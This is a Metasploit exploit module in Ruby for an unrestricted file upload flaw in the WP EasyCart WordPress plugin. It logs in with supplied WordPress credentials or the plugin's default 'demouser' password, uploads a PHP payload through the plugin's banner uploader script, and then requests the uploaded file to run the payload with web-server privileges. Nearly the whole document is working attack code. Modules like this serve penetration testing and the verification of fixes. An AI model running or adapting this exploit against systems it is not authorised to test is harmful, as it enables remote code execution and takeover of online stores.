WordPress WP EasyCart Unrestricted File Upload

`##  
# This module requires Metasploit: http://www.metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FileDropper  
include Msf::HTTP::Wordpress  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'WordPress WP EasyCart Unrestricted File Upload',  
'Description' => %q{WordPress Shopping Cart (WP EasyCart) Plugin for  
WordPress contains a flaw that allows a remote  
attacker to execute arbitrary PHP code. This  
flaw exists because the  
/inc/amfphp/administration/banneruploaderscript.php  
script does not properly verify or sanitize  
user-uploaded files. By uploading a .php file,  
the remote system will place the file in a  
user-accessible path. Making a direct request to  
the uploaded file will allow the attacker to  
execute the script with the privileges of the web  
server.  
  
In versions <= 3.0.8 authentication can be done by  
using the WordPress credentials of a user with any  
role. In later versions, a valid EasyCart admin  
password will be required that is in use by any  
admin user. A default installation of EasyCart will  
setup a user called "demouser" with a preset password  
of "demouser".},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Kacper Szurek', # Vulnerability disclosure  
'Rob Carr <rob[at]rastating.com>' # Metasploit module  
],  
'References' =>  
[  
['OSVDB', '116806'],  
['WPVDB', '7745']  
],  
'DisclosureDate' => 'Jan 08 2015',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['wp-easycart', {}]],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('USERNAME', [false, 'The WordPress username to authenticate with (versions <= 3.0.8)']),  
OptString.new('PASSWORD', [false, 'The WordPress password to authenticate with (versions <= 3.0.8)']),  
OptString.new('EC_PASSWORD', [false, 'The EasyCart password to authenticate with (versions <= 3.0.18)', 'demouser']),  
OptBool.new('EC_PASSWORD_IS_HASH', [false, 'Indicates whether or not EC_PASSWORD is an MD5 hash', false])  
], self.class)  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def ec_password  
datastore['EC_PASSWORD']  
end  
  
def ec_password_is_hash  
datastore['EC_PASSWORD_IS_HASH']  
end  
  
def use_wordpress_authentication  
username.to_s != '' && password.to_s != ''  
end  
  
def use_ec_authentication  
ec_password.to_s != ''  
end  
  
def req_id  
if ec_password_is_hash  
return ec_password  
else  
return Rex::Text.md5(ec_password)  
end  
end  
  
def generate_mime_message(payload, date_hash, name, include_req_id)  
data = Rex::MIME::Message.new  
data.add_part(date_hash, nil, nil, 'form-data; name="datemd5"')  
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"Filedata\"; filename=\"#{name}\"")  
data.add_part(req_id, nil, nil, 'form-data; name="reqID"') if include_req_id  
data  
end  
  
def setup  
if !use_wordpress_authentication && !use_ec_authentication  
fail_with(Failure::BadConfig, 'You must set either the USERNAME and PASSWORD options or specify an EC_PASSWORD value')  
end  
  
super  
end  
  
def exploit  
vprint_status("#{peer} - WordPress authentication attack is enabled") if use_wordpress_authentication  
vprint_status("#{peer} - EC authentication attack is enabled") if use_ec_authentication  
  
if use_wordpress_authentication && use_ec_authentication  
print_status("#{peer} - Both EasyCart and WordPress credentials were supplied, attempting WordPress first...")  
end  
  
if use_wordpress_authentication  
print_status("#{peer} - Authenticating using #{username}:#{password}...")  
cookie = wordpress_login(username, password)  
  
if !cookie  
if use_ec_authentication  
print_warning("#{peer} - Failed to authenticate with WordPress, attempting upload with EC password next...")  
else  
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress')  
end  
else  
print_good("#{peer} - Authenticated with WordPress")  
end  
end  
  
print_status("#{peer} - Preparing payload...")  
payload_name = Rex::Text.rand_text_alpha(10)  
date_hash = Rex::Text.md5(Time.now.to_s)  
uploaded_filename = "#{payload_name}_#{date_hash}.php"  
plugin_url = normalize_uri(wordpress_url_plugins, 'wp-easycart')  
uploader_url = normalize_uri(plugin_url, 'inc', 'amfphp', 'administration', 'banneruploaderscript.php')  
payload_url = normalize_uri(plugin_url, 'products', 'banners', uploaded_filename)  
data = generate_mime_message(payload, date_hash, "#{payload_name}.php", use_ec_authentication)  
  
print_status("#{peer} - Uploading payload to #{payload_url}")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => uploader_url,  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => data.to_s,  
'cookie' => cookie  
)  
  
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?  
vprint_error("#{peer} - Server responded with status code #{res.code}") if res.code != 200  
  
print_status("#{peer} - Executing the payload...")  
register_files_for_cleanup(uploaded_filename)  
res = send_request_cgi(  
{  
'uri' => payload_url,  
'method' => 'GET'  
}, 5)  
  
if !res.nil? && res.code == 404  
print_error("#{peer} - Failed to upload the payload")  
else  
print_good("#{peer} - Executed payload")  
end  
end  
end  
`